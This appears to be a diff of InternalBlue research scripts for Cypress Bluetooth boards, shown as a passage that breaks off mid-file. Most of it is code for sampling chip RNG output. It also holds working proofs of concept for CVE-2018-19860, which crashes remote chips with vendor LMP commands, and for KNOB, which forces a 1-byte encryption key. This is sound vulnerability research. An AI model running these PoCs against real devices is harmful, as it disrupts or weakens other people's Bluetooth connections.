# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20719-randomdata-%irounds-0xc00-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+254
@@ -0,0 +1,254 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20719 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* BT only, no need to disable Wi-Fi.
|
||||
|
||||
* Launch_RAM also is broken on this one :D
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
|
||||
# 0x900 seems to work
|
||||
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x410548 # the pseudo random register we want to benchmark
|
||||
# !!! other mapping, follows CYW20719
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x410434 agcStatus_adr
|
||||
# 0x41079C rxInitAngle_adr
|
||||
# 0x4100AC spurFreqErr1_adr
|
||||
# 0x410548 rxPskPhErr5_adr
|
||||
# ?? no mm_top?
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable functions that crash us when using the target memory region
|
||||
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
|
||||
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0xD2DEC, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20719-randomdata_pseudo-%irounds-0xc00-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
# PoC for CVE-2018-19860
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
This is a crash only test for CVE-2018-19860. Install this patch and connect
|
||||
to any device. If the target device Bluetooth chip crashes upon connection,
|
||||
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
|
||||
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
|
||||
|
||||
This snippet modifies connection establishment. To be still compatible with
|
||||
scanning for devices, feature_req and name_req should not be modified.
|
||||
We modify lm_SendLmpHostConnectionReq, which is only triggered when
|
||||
clicking on another device to establish a connection. Then we launch the attack
|
||||
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
|
||||
|
||||
TODO
|
||||
After ~24 commands, this cannot be repeated any more. Tapping again too early
|
||||
crashes the driver. Long waiting loops don't help. A good workaround is to
|
||||
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
|
||||
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
|
||||
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
|
||||
will be replied with LMP_not_accepted).
|
||||
|
||||
"""
|
||||
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
|
||||
ASM_LOCATION_VSC_EXISTS = 0x00218300
|
||||
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
|
||||
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
|
||||
ASM_SNIPPET_VSC_EXISTS = """
|
||||
b vsc_iterate
|
||||
b send_lmp
|
||||
|
||||
vsc_iterate:
|
||||
push {r5-r6, lr} // backup registers
|
||||
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
|
||||
mov r6, r0 // backup connection struct
|
||||
|
||||
loop:
|
||||
mov r0, r6 // restore connection struct
|
||||
bl send_lmp
|
||||
|
||||
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
|
||||
cmp r5, 0x%02x00 // loop exit condition
|
||||
bne loop
|
||||
|
||||
|
||||
// proceed as in original function lm_SendLmpHostConnectionReq
|
||||
mov r0, r6 // restore connection struct
|
||||
mov r5, 0x00000066 // LMP_host_connection_req << 1
|
||||
bl send_lmp
|
||||
pop {r5-r6, lr} // restore registers
|
||||
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
|
||||
|
||||
|
||||
|
||||
//pass connection struct in r0 and lmp data in r5
|
||||
send_lmp:
|
||||
push {r4-r5,lr}
|
||||
|
||||
mov r4, r0 // store connection struct copy to r4
|
||||
|
||||
// malloc buffer for LMP packet
|
||||
bl 0x8691E // lm_allocLmpBlock
|
||||
|
||||
// fill buffer
|
||||
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
|
||||
//// add some more bytes if needed
|
||||
//mov r1, 0x4242
|
||||
//str r1, [r0, 0xe]
|
||||
|
||||
mov r1, r0 // move lmp packet buffer into r1
|
||||
mov r0, r4 // restore connection struct
|
||||
|
||||
pop {r4-r5,lr} // restore r4 and the lr
|
||||
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
|
||||
|
||||
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
|
||||
|
||||
"""
|
||||
When sending LMP commands, lookup tables are used to determine length and other
|
||||
function parameters. However, as we use undefined commands, some of them seem
|
||||
never to be sent. The table lookup simply is nonsense here... so we patch around
|
||||
this.
|
||||
"""
|
||||
|
||||
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
|
||||
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
|
||||
ASM_SNIPPET_LMP_00_LOOKUP = """
|
||||
|
||||
ldr r0, =table
|
||||
bx lr
|
||||
|
||||
// dummy table entry
|
||||
.align
|
||||
table:
|
||||
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
|
||||
.byte 0x04
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x10 // length
|
||||
.byte 0x00
|
||||
.byte 0x00
|
||||
.byte 0x01
|
||||
|
||||
"""
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
|
||||
# they don't know about Cypress yet...
|
||||
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
|
||||
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
|
||||
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
|
||||
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
|
||||
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
log.info("Installing LMP BPSC existence hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
|
||||
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
|
||||
log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("------------------")
|
||||
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
|
||||
|
||||
|
||||
@@ -1,11 +1,9 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/env python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
|
||||
from pwn import *
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
|
||||
"""
|
||||
@@ -32,17 +30,65 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
|
||||
internalblue.patchRom(0x7402A, patch)
|
||||
internalblue.patchRom(Address(0x7402A), patch)
|
||||
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x280F13, '\x01') # global key entropy
|
||||
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
|
||||
|
||||
|
||||
internalblue.shutdown()
|
||||
exit(-1)
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n")
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
|
||||
def hciKnobCallback(record):
|
||||
"""
|
||||
Adds a new callback function so that we do not need to call Wireshark.
|
||||
"""
|
||||
hcipkt = record[0]
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+238
@@ -0,0 +1,238 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20735 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* BT only, no need to disable Wi-Fi.
|
||||
|
||||
* Launch_RAM is also broken on this one :D
|
||||
|
||||
"""
|
||||
|
||||
ASM_LOCATION_RNG = 0x217000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
|
||||
FUN_RNG = 0xA562E # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x24E66 // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x352604
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: rbg_control_adr=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x352600
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x352608
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x24E92 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x24C36 // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20735 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1425BC, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1425BC, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20735-randomdata-%irounds-0x500-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+259
@@ -0,0 +1,259 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from datetime import datetime
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20819 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* BT only, no need to disable Wi-Fi.
|
||||
|
||||
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
|
||||
our own HCI handler.
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x219000
|
||||
# 0x219000 crashed with 0x1000 in round 27
|
||||
# 0x216000 looks emptier but crashed on first attempt
|
||||
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x500 # run this often (x5 bytes)
|
||||
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
|
||||
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x352604
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: rbg_control_adr=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x352600
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x352608
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
